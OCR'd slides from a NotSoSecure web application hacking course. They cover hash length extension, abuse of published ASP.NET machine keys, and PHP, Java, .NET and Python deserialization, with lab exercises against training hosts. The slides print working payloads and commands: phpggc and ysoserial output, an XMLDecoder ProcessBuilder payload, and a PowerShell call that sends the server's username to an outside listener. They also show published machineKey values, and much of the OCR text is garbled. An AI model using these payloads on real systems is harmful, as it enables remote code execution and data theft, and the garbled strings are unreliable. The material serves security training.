[secretpass|quantity=1&price=100|padding|&price=10]

Attack Hash:
[Statel|&price=10] => Hash?2/State2

Final Request:
guantity=1&price=100+padding&price=10&hash=Hash2

NotSoSecure part of
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Hash Length Extension Attacks

Secret

Data

Padding Padding & Data

ndl

;
o

Hashing function

Reference:
https://image.slidesharecdn.com/securityholell-unusualsecurityvulnerabilities-yuriybilyk-140709083925-
phpapp01/95/security-hole-11-unusual-security-vulnerabilities-yuriy-bilyk-24-638.jpg?chb=1404895243 /

NotSoSecure part of

claranet
cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Hash Length Extension Attack

 Buy a topup at less than total payable amount
using your registered account:

Challenge URL.:
http:/topup.webhacklab.com/Shop/Topup
[Payment]

EX@fClse Note: The account used must have a valid emalll
to receive the payment receipt. Use any random

number for the Credit Card number. Do NOT use
a real credit card number




Exploiting Pre-Shared Keys

Basis of this attack :

* Purpose of machine Keys
* Publicly exposed Keys

* Human Error

 Compromise of account

NotSoSecure part of
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What is Machine Key?

Keys used for encryption and decryption of forms authentication
cookie data and view-state data, and for verification of out-of-
process session state identification

<machineKey validationKey="F1ABAEE7E733A4CE4771C27EA79021D992E47B8801A3618305F9820F46
8FB193C63A21485DEFDOF51A5D8FD31B5A5BAA968DDA56BOF7BC575F8B61A662E8972C"
decryptionKey="DDABD235C8B46113985005507B476F468D4C283F2C14989F"
validation="HMACSHA256" decryption="AES" />

NotSoSecure part of
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Attributes and Elements

AES - Default, DES , 3DES

An algorithm that is used for encrypting and decrypting forms-

decryption authentication data. alg:algorithm_name
(AutoGenerate, IsolateApps)
decryptionKey A HEX string (key) to encrypt and decrypt data HEX string (key value)

AES , MD5, SHA1, HMACSHA256,
validation A hash algorithm to validate data HMACSHA384, HMACSHA512
alg:algorithm_name

AutoGenerate, IsolateApps
validationKey A HEX string (key) to validate data HEX string (key value)

NotSoSecure part of
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Data Encrypted with Machine Key

* Authentication token
o Forms (ASPXAUTH)
o OWIN - OAUTH token
o ASP.NET cookie (.AspNet.ApplicationCookie)

* Webresource.axd and Scriptresource.axd
* VIEWSTATE

* CSRF token

* Password reset token

* Role Cookie NotSoSecure part o

. claranet
* Membership passwords, etc. @cybrer
security
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Disclosing Machine Key

r by title

nnwan

Manage

Develop

Publish

Troubleshoot
Installation Issues
Security Issues

Troubleshooting SSL related issues
(Server Certificate)

ASP.NET Issues
Diagnosing HTTP Errors
Using Failed Request Tracing
Performance Issues
Remote Administration Issues
Web Platform Installer Issues
Extensions
Media

Application Frameworks

@& https://docs.microsoft.com/en-us/iis/troublesh

determine where the cookie was removed.

@ Note

There have also been instances of ISAPI filters removing cookies. If you confirm that the Web server received the cookie,
but the cookie is not listed in the IIS logs, check the ISAPI filters. You may have to remove the filters to see if the problem
is resolved.

Troubleshooting Scenario 5:

« If the scenario involves a web farm, then the Machinekeys should be same across everywhere. Use below machinekey to
maintain the consistency on all the servers on the farm:

XML ™ Copy

<machineKey validationKey="87AC8F432C8DB844A4EFDO24301AC1AB5808BEEOD1870689B63794D33EE3B55CDB315BB480721A107]

»

e Compare the timeout values for both forms authentication module and the session module on all of the web servers.

e Compare the System.Web.dll version under Framework folder for ASP.NET 4 between all of the web servers in the farm.
Forms authentication failed for the request. Reason: The ticket supplied was invalid. This happens due to missing
Reliability Update 1 for MS .NET framework 4 on one of the web server.

e Install the Reliability Update 1 for the .NET Framework 4 kb2533523 on the server that was missing it and rebooted the
server. It fixed the issue. https://support.microsoft.com/kb/2533523

Reference:
https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication

NotSoSecure part of

claranet
cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




ViewState MAC Failed.. What next ?

PUBLIC
@ Stack Overflow
Tags
Users

Jobs

vz

Learn More

Teams [EE_
Q&A for work el

https://stackoverflow.com/questions/1360078/asp-net-mvc-validation-of-viewstate-mac-failed
D ik
= stackoverflow  Search...
ST JCTIVE votes
Home

Under the covers, the MVC AntiForgeryToken attribute uses the machinekey for encryption. If you
don't specify a machinekey in the web.config (see here), one is automatically generated for you by

32  ASP.NET (full description).

If the ASP.NET application is restarted (e.g. do an iisreset), the AntiForgeryToken within the browser
cookie will still be encrypted with an old machine key, hence why it crashes with the above error.

\/ So you should always specify a machinekey in your web.config when using MVC, e.g.

<configuration>
<system.web>

<machineKey
validationKey="21FB90935F6E49C2C797F69BBAAD8402ABD2EEOB667ABB44EA7DD4374267A75D7!

decryptionKey="ABAA84D7EC4BB56D75D217CECFFB9628809BDB8BFS1CFCD64568A145BES9719F"
validation="SHA1"
decryption="AES"

/>

ove this answer edited Oct 16 '09 at 11:35 answered Oct 16 '09 at 10:07
: ' Dunc

e 137k ©4 956 82
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Publicly Released Machine Key

Repositories Code 193K Commits 1 Issues 24

193,454 code results

tomvoros/deertier — MachineKey.config

Showing the top three matches Last indexed on Jan 16

<?xml version="1.0"?>
<!-- Development machineKey -->

<machineKey

Wikis 1 Users

Sort: Best match «

validationKey="D84C53B41115651FA84C4308A6A7EAFE9BFC97CDD6F4C31F1FF3@45750D95404583349BEGBEBSCCCA
decryptionKey="6B3983B325E562C7BE29874987990F66557B9EASOE63708EO8756EFFEF35BBD2" validation="SHA

pwideman/ClubPool — machinekey.config
Showing the top five matches Last indexed on Sep 14, 2016

<?xml version="1.8"?>

<machineKey

validationKey="CD25BC807BD66347F9A70175A40F07BD9415478BFCCFDEALEC89E920CA365ADE83FO4BO53AB59A18F

4
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Project Blacklist3r

Goal:

Accumulate the secret keys /
secret materials of various web
frameworks

Are publicly available and used by
developers

Blacklist3r will audit the target
application and verify the usage of
these pre-published keys

Reference:
https://github.com/NotSoSecure/Blacklist3r



Auth Bypass using
pre-shared MachineKey

« ldentify a pre-shared Machine Key used in the
application using Blacklist3r

« Create a new auth token for ‘admin’ user and gain
access to the administrative console.

« Use http://utility.webhacklab.com/ to generate
payloads

Exercise

Challenge URL.:
http://admin.webhacklab.com/



http://utility.webhacklab.com/

() M PHP object injection
Q Java Deserialization Attack
.Net Deserialization Attack

(M Python Deserialization Attack

Module: Ruby/ERB template injection
Remote Code

Execution And relevant case studies




Remote Code Execution

* When an Application performs code execution via user input.
* Code Execution is performed on Base Operating System.

* If App was running with privileges ==> Total System
Compromise.
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Serialization and Deserialization

File / Memory

Deserialization

Byte :

Serialization r

Byte
SEEI

Network

J

‘-n
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Object Serialization

Converting complex data structures like objects/arrays to strings for
byte-by-byte transmission

Supported by: Java, .Net, PHP, Ruby, Python etc.

Typical Use Cases:
* Passing Form objects as is for processing
* Passing objects as URL Query parameters

e Storing objects data in text or in a single database field

NotSoSecure part of
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PHP Object Injection

PHP provides object serialization using ‘serialize’ function. A
serialised object can be used later unserialized and used

Attack Scenario:

* Applications sometimes use classes hidden from users, but with
access to source code (e.g. open source CMS) or by simply
guessing the class an attacker might be able to abuse it

* The issue arises when the attacker can access other PHP objects
and use them to perform malicious tasks (e.g. read/write file)

NotSoSecure part of
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PHP

Code execution can be achieved when we pass a serialized object to the
unserialise function(unserialize()) , controlling the creation(serialization) of the
object in memory.

(&2 4 BEON-hp.net/m anual/enfunction.unserialize.phy

Dewnloads ' Documentation [ Getlnvelved  Help

unserialize() takes a single serialized variable and converts it back into a PHP value.

Warning Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes. Unserialization can result
in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a
safe, standard data interchange format such as JSON (via json_decode() and json_encode(}} if you need to pass serialized data to the user.

If you need to unserialize externally-stored serialized data, consider using hash_hmac() for data validation. Make sure data is not modified NotSoSecure part of

by anyone but you. "
claranet
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PHP : Exploitation Requirements

* Application must leverage class with magic method

Here are few magic functions in php:
__construct(), _ destruct(), _ call(), _ callst

atic(), __get(), _ set(), _ isset(), _ unset(), _ sleep(), _ wakeup(), _ toString(), _ invoke(),
__set _state(), _ clone(), and __ autoload().

Here are few magic methods in php:

Exception:: toStringErrorException:: toStringDateTime:: wakeupReflectionException:: toStringReflecti
onFunctionAbstract:: toStringReflectionFunction:: toStringReflectionParameter:: toStringReflectionMet
hod::_ toStringReflectionClass:: toStringReflectionObject:: toStringReflectionProperty:: toStringRefl
ectionExtension:: toStringLogicException:: toStringBadFunctionCallException:: toStringBadMethodCallEx
ception:: toStringDomainException:: toStringInvalidArgumentException:: toStringLengthException:: toS
tringOutOfRangeException:: toStringRuntimeException:: toString

Ref: http:/www.programmerinterview.com/index.php/php-questions/php-what-are-magic-functions/

Attack Scenario:

 All classes used in attacks must be declared or
support autoloading

* Knowledge of server side code is required to form the
gadget chain

NotSoSecure part of
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PHP Object Injection

Sample PHP Class:

<?php

?>

class FileClass {

public $filename = 'error.log’;

public function  toString() {

return file get contents (Sthis->filename);

I8

Serialized Object:

0:9:"FileClass":1:{s:8:"filename";s:9:"error.log";}

NotSoSecure part of
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PHP Object Injection

« Exploit a PHP object injection instance to access
‘letc/passwd’ file from the server:

Challenge URL.:
http://shop.webhacklab.com/help.php

Exercise




PHPGGC: PHP Generic Gadget Chains

* Is a utility that generates payloads for exploiting unserialize() of many
known opensource PHP applications. It contains GadgetChains contributed
by various security researchers. Saves the tedious process of finding and

combining gadgets.

[:—(root-wkali)—[~/tools/phpggc]

# ./phpggc S1im/RCE1 system id -b
Tzox0DoiU2xpbVXxIdHRWXFI1c3BvbnN1IjoyOntz0jEwOiIAKgBoZWFkZXJzIjtPOjg6I1NsaWlcQXBw
IjoxOntzOjE50iIAU2xpbVXBcHAAY29udGFpbmVyIjtPOjE@QiITbG1tXENvbnRhaW51ciI6éMzp7czoy
MToiAFBpbXBsZVXDb250YWLuZXIAcmF3IjthOjE6e3M6MzoiYWxsIjthOjI6e2k6MDtPOjg6INsaWlc
QXBwIjoxOntzOjE50iIAU2XxpbVXBcHAAY29udGFpbmVyIjtP0jg6ITNsaWlcQXBwIjoxOntzOjES01iIA
U2xpbVxBcHAAY29udGFpbmVyIjtPOjE@0iJTbGLtXENvbnRhaW51ciI6Mzp7czoyMToiAFBpbXBsZVxD
b250YWLuZXIAcmF3IjthOjE6e3M6Mz0iaGFzIjtz0jY6INNSCc3R1bSI7fXM6MjQ6IgBQaWlwbGVcQ29u
dGFpbmVyAHZhbHV1cyI7YTox0Ontz0jM6ImhhcyI7cz020iJzeXNOZW0i031z0jIy0iIAUGLtcGXLXENY
bnRhaw51cgBrZX1zIjthOjE6e3M6Mz0oiaGFzIjtz0jY6INNSCc3R1bSI7FX19fWk6MTtz0jI6ImLkIjt9
fXM6MjQ6IgBQaWlwbGVcQ29udGFpbmVyAHZhbHV1cyI7YToxOntzOjM6ImFsbCI7YToyOntpOjA7cjo2
02k6MTtzOJI6ImMLKIjt9fXMEMjI6IgBQaWlwbGYcQ29udGFpbmVyAGt1leXMi02E6MTp7czoz0iJhbGwi
02E6Mjp7aTow03I6Njtp0OjE7czoy0iIpZCI7FX19fXM6NZzoiACOAYM9keSI7czow0iIin30= Claranet

cyber
security

NotSoSecure part of

Reference: © NotSoS 2021 Global
s . © NotSoSecure oba
https'//gIthUb'Com/amblonICS/phpggC Services Ltd, all rights reserved




PHP Deserialization Attack

« ldentify and exploit the PHP Deserialization
vulnerability

« Get areverse shell and extract the system
information such as username, OS type from the
server

EX@fClse Challenge URL.:
http://slim.webhacklab.com:8081




Java Object Serialization

In Java, Objects can be serialized in three ways
* Binary - readObject() method

Primarily used for transmitting Java “objects” over the wire as serial
data

e XML - XMLDecoder, XStream, Castor

Primarily used for transmitting Java “objects” over the wire as XML
data

 JSON - Jackson, Fastjson, JsonlO

Performs marshalling/unmarshalling of java objects in JSON format

And a lot many other formats and libraries as described here -
https://qithub.com/GrrrDog/Java-Deserialization-Cheat-Sheet

NotSoSecure part of
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Java Binary Deserialization Vulnerabilities

readObject() of ObjectinputStream class
* Converts serialized java string to an object which is the process of Deserialization

* If user supplied input is passed into this function it can lead to remote code execution

& Traffic
U¥dcom. test. servlets - CariEos<UEEEr o RIS _
STX I-capat:ltyLMmodelt T java/lang/ Strlrlg, xp * Magic bytes ‘ac ed 00 05" bytes
W - T q » 100" for Buse6d
* ‘gpplication/x-java-serialized-object’ for Content-Type header

readObject()

lclass Car {
private String model="120" ;
private int capacity=1200 ;




YSoSerial Utility

* Ysoserial is a grouped collection of “gadget chains” discovered in
common java libraries that can be exploited for unsafe
Deserialization of objects. This utility accepts user-specified input
and wraps it withing the mentioned gadget chain.

[:—(root-skali)-[~/tools]

# java -jar ysoserial-master.jar CommonsCollections4 'nslookup userl0.webhacklab.com' | base64 -wo0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ARNING: An illegal reflective access operation has occurred

ARNING: Illegal reflective access by ysoserial.payloads.util.Reflections (file:/root/tools/ysoserial-ma
ster.jar) to field com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl._ bytecodes

ARNING: Please consider reporting this to the maintainers of ysoserial.payloads.util.Reflections
ARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
ARNING: A1l illegal access operations will be denied in a future release

rO@ABXNyABdqYXZhLnV@aWwuUHIpb3JpdHLRAWV1ZZTaMLT7P4KXAWACSQAEC216ZUwACMNVbXBhcmFOb3JOABZMamF2YS91dGlsLONv
bXBhcmFOb3I7eHAAAAACC3IAQMOyZy5hcGFjaGUuY29tbWucy5jb2xsZWNOaW9uczQuY29tcGFyYXRvenMuVHIhbnNmb3JtaW5nQ29t
cGFyYXRvci/5hPArsQjMAgACTAAIZGVjb3JhdGVkcQB+AAFMAAtOcmFuc2ZvcmllcnQALUxvemcvYXBhY2h1L2NvbWlvbnMvY29sbGVj NotSoSecure part of
dGLlvbnMOL1RyYW5zZm9ybWVy03hwc3IAQGI9YZy5hcGFjaGUuY29tbWoucy5jb2xsZWNOeaw9uczQuY29tcGFYYXRvcnMuQ29tcGFyYWIs -~ - . n
ZUNvbXBhcmFOb3L79 Ik LuG6XxNwIAAHhwc3IA029yZy5hcGF jaGUuY29tbWoucy5 jb2xsZWNOaW9uczQuZnVuY3RvcnMuQ2hhaWs1ZFRy claranet
YW5zZm9ybWVyMMeX7Ch61wQCAAFbAA1pVHIhbnNmb3JtZXJzdAAuWOXxvcmcvYXBhY2h1L2NvbW1vbnMvY29sbGVjdGlvbnMOL1RYYWSzZ cyber

security
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Java Deserialization Attack - Binary

« Identify and inject a payload into the serialized
data to make the host send DNS requests to
an external host:

« Get areverse shell and extract the system
Information such as username, OS type from
the server and also read “/etc/passwd” file

Challenge URL.:
http://mblog.webhacklab.com/login

Exercise

* Note: Send a DNS request to the host
userX.webhacklab.com




Java Deserialization — SerialVersionUID Mismatch

HTTP Status 500 - org.apache.commons.beanutils.BeanComparator; local class

incompatible: stream classdesc serialVersionUID = -2044202215314119608, local
class serialVersionUID = -3490850999041592962

BT'T Exception report

EEETETT org.apache.commons.beanutils.BeanComparator; local class incompatible: stream cl rialVersionUID = -2044 4 local class
rialVersionUID = -34 4
The server encountered an internal error that prevented it from fulfilling_this request.

java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serial
java.io.ObjectStreamClass.initNonProxy(ObjectStreamClass.java:687)
java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1883)
java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1749)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2040)
java.io.ObjectInputStream.readObjectO(ObjectInputStream. java:1571)
java.io.ObjectInputStream.defaultReadFields(ObjectInputStream. java:2285)
java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:561)

2] SO PRy .Y z e T 1= R
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* The generate payload using ysoserial.jar resulted in error clabranet
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* Server uses a different version of the BeanComparator class security
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Decompiling and Analysis

|dentify the library version based on SerialVersionUID

o U - Deda Ll = - - L)
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID 5123381023979609048L ;
Checking file: commons-beanutils-1.6.1.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID 2573799559215537819L;
Checking file: commons-beanutils-1.6.zip
ora.apache,.commons.beanutils.BeanComparator: private static final serialVersionUID 25737995592155378191 :
Checking file: commons-beanutils-1.7.0.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L;
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L ;
Checking file: commons-beanutils-1.8.0-BETA.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L ;
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L ;
Checking file: commons-beanutils-1.8.0-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L ;
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L ;
Checking file: commons-beanutils-1.8.1-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L ;
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L ;
Checking file: commons-beanutils-1.8.2-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L ;
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L;
Checking file: commons-beanutils-1.8.3-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L;
orqg.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -3490850999041592962L ;
Checking file: commons-beanutils-1.9.0-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -2044202215314119608L ; NotSoSecurepanm
Checking file: commons-beanutils-1.9.1-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID = -2044202215314119608L; claranet
Checking file: commons-beanutils-1.9.2-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -2044202215314119608L; Cyber_
Checking file: commons-beanutils-1.9.3-bin.zip secunty
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -2044202215314119608L;
Checking file: commons-beanutils-1.9.4-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final serialVersionUID -2044202215314119608L ;

© NotSoSecure 2021 Global
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Rebuilding YSoSerial

Edit the pom.xml and rebuild YSoSerial Source

the root account, you may harm your system.

<groupId>commons-beanuti)s</groupIld>
tils</artifactId>

<artifactId>commons bea

| B = s = = = =
src target appveyoryml  assembly.xml DISCLAIMER.txt Dockerfile LICENSE.tx README.md ysoserial.png
pom.xml
yptions Help
SsdriLiidciLirLg-"commons-coLLecLyons</drLiridcoLiLa-~
<version>3.1l</version>
</dependency>
<dependency>

| <version>1.9.2</version> |

</dependency>

<dependency>

</dependency>
<dependency>

File Edit View Terminal Tabs

root@kali: ~/Desktop/apache-...

Help

x

flerminal - root@kali: ~/Desktop/ysoserial

root@kali: ~/Desktop/ysoserial root@kali: ~/Desktop/ysoseri... X ro

#| ../apache-maven-3.6.3/bin/mvn clean package —DskipTestsI

Reference:
https://github.com/frohoff/ysoserial

NotSoSecure part of
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Bonus Demo

Tricky Java Deserialization Attack - Binary

ldentify and inject a payload into the serialized
data to make the host send DNS requests to
an external host:

Get a reverse shell and extract the system
Information such as username, OS type from
the server and also read “/etc/passwd” file

Challenge URL.:
http://mblognew.webhacklab.com/login

Note: Send a DNS request to the host
userX.webhacklab.com



Java Object Serialization

In Java, Objects can be serialized in three ways
* Binary - readObject() method

Primarily used for transmitting Java “objects” over the wire as serial
data

e XML - XMLDecoder, XStream, Castor

Primarily used for transmitting Java “objects” over the wire as XML
data

 JSON - Jackson, Fastjson, JsonlO

Performs marshalling/unmarshalling of java objects in JSON format

And a lot many other formats and libraries as described here -
https://qithub.com/GrrrDog/Java-Deserialization-Cheat-Sheet

NotSoSecure part of
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Java XML Deserialization Vulnerabilities

XMLDecoder and Xstream two libraries in Java used for

serializing objects using XML

<Car>
<model>i20</model>

<capacity>1200</capacity>
</Car>

ASTREAM

'

class Car {

}

[ £7xml versiom="1.0" encodimg="UTF-8"7>
{€java Trarsiom=il_&.0 I8® clacs="igws  Boane . XMIDooodor!
ol it lass="gobsorarial . Car"s
<void propecty=—"modcl":>
s ler inggs | 8w e | mgh
< yroldr
i progsser L= apeadtn Lyt

Cincride</ing>»
i valds
cfobjectd

Cfjava

k3

AMLDECODER.

private String model="120
private int capacity=120(

|

F




Java XML Deserialization: XML Decoder

<fwml version="1.8" encoding="UTF-8"7>
<object class="jova.lang.ProcessBuilder™:
<array class="java.lang.5tring” length="1":
<vold index="8":>
<stringrcalc.exe</string>
</void>
<farray> XMLDECODER
<vold method="start"” />
{fchjectﬂ

NotSoSecure part of
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Exercise

Java Deserialization Attack - XML

|dentify the request to inject XML serialized data
and inject a payload to make the host send ping
requests to an external host

Get a reverse shell and extract the system
Information such as username, OS type from the
server and also read "/etc/passwd" file

Challenge URL.:
http://mblog.webhacklab.com/api/add/microblog



Some Popular Bugs

XMLDecoder Deserialization Vulnerabilities
* Oracle Weblogic - CVE-2017-3506,CVE-2017-10271

XStream Deserialization Vulnerabilities

* Apache Struts2 REST Plugin - CVE-2017-9805
* Atlassian Bamboo - CVE-2016-5229
 Jenkins - CVE-2017-2608

NotSoSecure part of

claranet
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Java Object Serialization

In Java, Objects can be serialized in three ways
* Binary - readObject() method

Primarily used for transmitting Java “objects” over the wire as serial
data

e XML - XMLDecoder, XStream, Castor

Primarily used for transmitting Java “objects” over the wire as XML
data

* JSON - Jackson, Fastjson, JsonlO

Performs marshalling/unmarshalling of java objects in JSON format

And a lot many other formats and libraries as described here -
https://qithub.com/GrrrDog/Java-Deserialization-Cheat-Sheet

NotSoSecure part of
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Jackson JSON Deserialization Attack

« Get areverse shell and extract the system
Information such as username, OS type from the
server and also read “/etc/passwd’ file

Challenge URL.:
http://mblog.webhacklab.com/mblog/api/add/microblog

Exercise




NET Serialization: RCE

The .NET framework has multiple serialization types

Top Serialization Methods:
* Binary serialization - Runtime serialization
* XML & SOAP Serialization

e Data Contract Serialization

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




BinaryFormatter Serialization

* The .NET Framework provides the BinaryFormatter class for
binary serialization

* BinaryFormatter is an Fast, Lightweight Binary serialization/
deserialization technique

* BinaryFormatter Class serializes and deserializes an object or
an entire graph of connected objects, in binary format

* System.Runtime.Serialization.Binary.BinaryFormatter class is a
serialization mechanism in the framework since version 1.0

NotSoSecure part of
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Serialization: BinaryFormatter

ESEir11F)|EE (:()(163 Seralized Data :
p————— AAEAAAD//// / AQAAAAAAAAAGAQAAABNUaG1zIG1zIFNhbXBsZSBEYXRhCw==

class Deseralized Data :
{ This is Sample Data
tatic void Main(string[] args) R,

7 secretData ' ;
string serealizedData Convert.ToBase64String(SerealizeData(secretData));
Console.WriteLine( serealizedData);
Console.WriteLine( DeserealizeData(Convert.
FromBase64String(serealizedData)));
Console.Read();

public static string DeserealizeData(bytel] serealizedData)
MemoryStream memStream MemoryStream(serealizedData);
BinaryFormatter binFormatter BinaryFormatter();

[return binFormatter.Deserialize(memStream).ToString();|Deserialization

ic static bytell SerealizeData(string data)

AT~

MemoryStream memStream MemoryStream();
BinaryFormatter binFormatter BinaryFormatter();
|[binFormatter.Serialize(memStream, data);| Serialization
memStream.Seek(?, SeekOrigin.Begin);

-eturn memStream.ToArray();




YSoSerial .Net

* YSoSerial.NET is a (Windows Executable) tool that contains
multiple “gadget chains” of .NET libraries which can be
leveraged to exploit unsafe deserialization of objects. The utility
accepts user payload and wraps it within the specified gadget.

«
1 b
|
Y SoJderial.Ne
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o NotSoSecure part of
base64 -c "powershell.exe Invoke-WebRequest -Uri Oclabranet
. . " cyber
h ://192.168.4.X : N .
ttp://19 68 /Senv:UserName security

© NotSoSecure 2021 Global
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YSoSerial.NET Utility

ysoserial.net

Deserialization payload generator for a variety of .NET formatters

Plugins Output Data:
Generic :I AAEAAAD/IIIAQAAAAAAAAAMAGAAAEITeXNOZWOsIFZIcnNpb249NC4wLjAUMC
wgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXIUb2tIbj1iNzdhNWM1NJESMzRIM
Gadget Dg5BQEAAACEAVNSc3RIbS5Db2xsZWN0aW9ucySHZW5IecmijLINvenRIZFNIdGAXx
W1tTeXNOZW0oulU3RyaWsnLCBtc2NvemxpYiwgVmVyc2lvbjooLjAuMC4wLCBDdWx
TypeConfuseDelegate :I 0dXJIPWS5IdXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODIdXQ
QAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGViewADAAYJQF TeXNOZWouQ
Formatter 29sbGVjdGIvbnMuR2VuZXJpYy5Db21wY XJpc29uQ29tcGFyZXJgMVibU3lzdGViLIN
BinaryFormatter :I OcmluZywgbXNjb3JsaWlsIFZlcnNpb24SNC4wLjAuMCwgQ3VsdHVyZT 1uZXVocmFs
LCBQdWJsaWNLZXIUb2tlbj1iNzdhNWM1NJESMzRIMDgSXVOIAgAAAAIAAAAJAWA
Command: AAAIAAAAJBAAAAAQDAAAAQFTeXNOZWOuQ29sbGVjdGIvbnMuR2VuZXJpYy5D
b21wYXJpc29uQ29tcGFyZXJgMVitbU3lzdGViLINOcmiuZywgbXNjb3JsaWisIFZlcnNp
powershell.exe Invoke-WebRequest -Uri http://192.168.4.X:8888/$env:UserName b249NC4wLjAuMCwgQ3VsdHVyZT1uZXVocmFsLCBQdWJsaWNLZXIUb2tibj1iNzdh
NWM1MNJESMzRIMDgSXVOBAAAAC19jb2 1wY XJpc29uAy.J TeXNOZWOURGVsZWdhd
4 GVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAE4VYYB
wb3dlcnNoZWxsLmV4ZSBJbnZva2UtV2ViumVxdWVzdCAtVXJplGhOdHABLy8xOTI
UMTY4LjQuWDo40Dg4LyRIbnY8YVXNIickShoWUGBwAAAANbWQEBQAAACITeXN
0ZWOuRGVsZWdhdGVTZXJpYWxpemF0aWIuSGasZGVyAWAAAAREZWXIZ2F0ZQ
dtZXRob2QwB211dGhvZDEDAWMwWU3IzdGViLKRIbGYnYXRIU2VyaWFsaXphdGlvbk
hvbGRIctEZWxIZ2F0ZUVudHJ5L 1N5c3RIbS5SZWZsZWN0aW9uLk1IbWJickluZm3
TV I o T thin AR -TAE L ANP- AR ARATINT- TR A WA A LTI 4 NotSoSecure part of
claranet
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell.exe Invoke-WebRequest -Uri http://192.168.4.X:8888/%env:UserName” Cybe r

security

http://utility.webhacklab.com © NotSoSecure 2021 Global

Services Ltd, all rights reserved




.NET Serialization Attacks

« Identify and exploit the .Net Deserialization
vulnerabllity to make the host send OOB HTTP
request to an external host

« Get areverse shell and extract the system
Information such as username, OS type from the
server and also read “win.ini” file

« Use http://utility.webhacklab.com/ to generate

Exercise payloads

Challenge URL.:
http://admin.webhacklab.com




Example: NancyFX (CVE-2017-9785)

* Nancy is a lightweight framework for building HTTP based
services on .Net

 (Csrf.cs in vulnerable version of NancyFX has Remote Code
Execution via Deserialization of JSON data in a CSRF Cookie

* Cookie contains a unigue token as a CSRF Token, instance
serialized with BinaryFormatter and then base64 encoded

* By submitting PSObject payload encoded in base64 encoding,

an attacker will be able to gain arbitrary code execution on the
application server upon deserialization of the cookie

NotSoSecure part of
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Python Deserialization

 Default library ‘Pickle’ in python for serialization.
* dumps() -> Serialize

* loads() -> Deserialize

Binary data

Pickle.dump()  Pickle ]0]]00
p Python object _ . 0]0'"0
Unpickle Pickle.load() .loo.lo.l

NotSoSecure part of
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Vulnerable Pickle

C @& docs.python.org/3/library/pickle.html

# Python » | English

Table of Contents

pickle — Python object
serialization
= Relationship to other
Python modules
= Comparison with
marshal
= Comparison with
json
= Data stream format
= Module Interface

= \What can be pickled and
unpickled?

= Pickling Class Instances
= Persistence of
External Objects
= Dispatch Tables
= Handling Stateful
Objects

= Custom Reduction for
Types, Functions, and
Other Objects

= Qut-of-band Buffers
= Provider API
= Consumer API

v

«

3.8.3rc1 v | Documentation » The Python Standard Library » Data Persistence »

pickle — Python object serialization

Source code: Lib/pickle.py

The pickle module implements binary protocols for serializing and de-serializing a Python object structure.
“Pickling” is the process whereby a Python object hierarchy is converted into a byte stream, and “unpickling” is
the inverse operation, whereby a byte stream (from a binary file or bytes-like object) is converted back into an
object hierarchy. Pickling (and unpickling) is alternatively known as “serialization”, “marshalling,” [1] or
“flattening”; however, to avoid confusion, the terms used here are “pickling” and “unpickling”.

Warning: The pickle module is not secure. Only unpickle data you trust.

It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never
unpickle data that could have come from an untrusted source, or that could have been tampered with.

Consider signing data with hmac if you need to ensure that it has not been tampered with.

Safer serialization formats such as json may be more appropriate if you are processing untrusted data. See
Comparison with json.

Quick|

NotSoSecure part of
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Vulnerable Pickle — Dump and Load

C @ docs.python.org/2/library/pickle.html a 1 o

Table of Contents

1. pickie — Python
ject serialization
= 11.1.1. Relationship to
other Python mr 5
11.1.2. Data stre:
format
11.1.3. Us:
11.1.4. What can be
pickled and unpickled?
11.1.5. The pickle
protocol
» 11.1.5.1. Pickling
and unpickling
normal class

and unpickling

extens

6. Subcl
Unpicklers
= 11.1.7. Example
11.2. cpick1e — A faster
pickle
Previous topic
11. Data Persistence

Next topic

11.3. copy_reg — Fiegistcr
pickle support functions

This Page

Show Sniirca

The pickie module provides the following functions to make the pickling process more convenient:

pickle. dump (obj, file[, protocol])

\Write a pickled representation of obj to the open file object file. This is equivalent to pickler(file, protocol).dump(cbi).

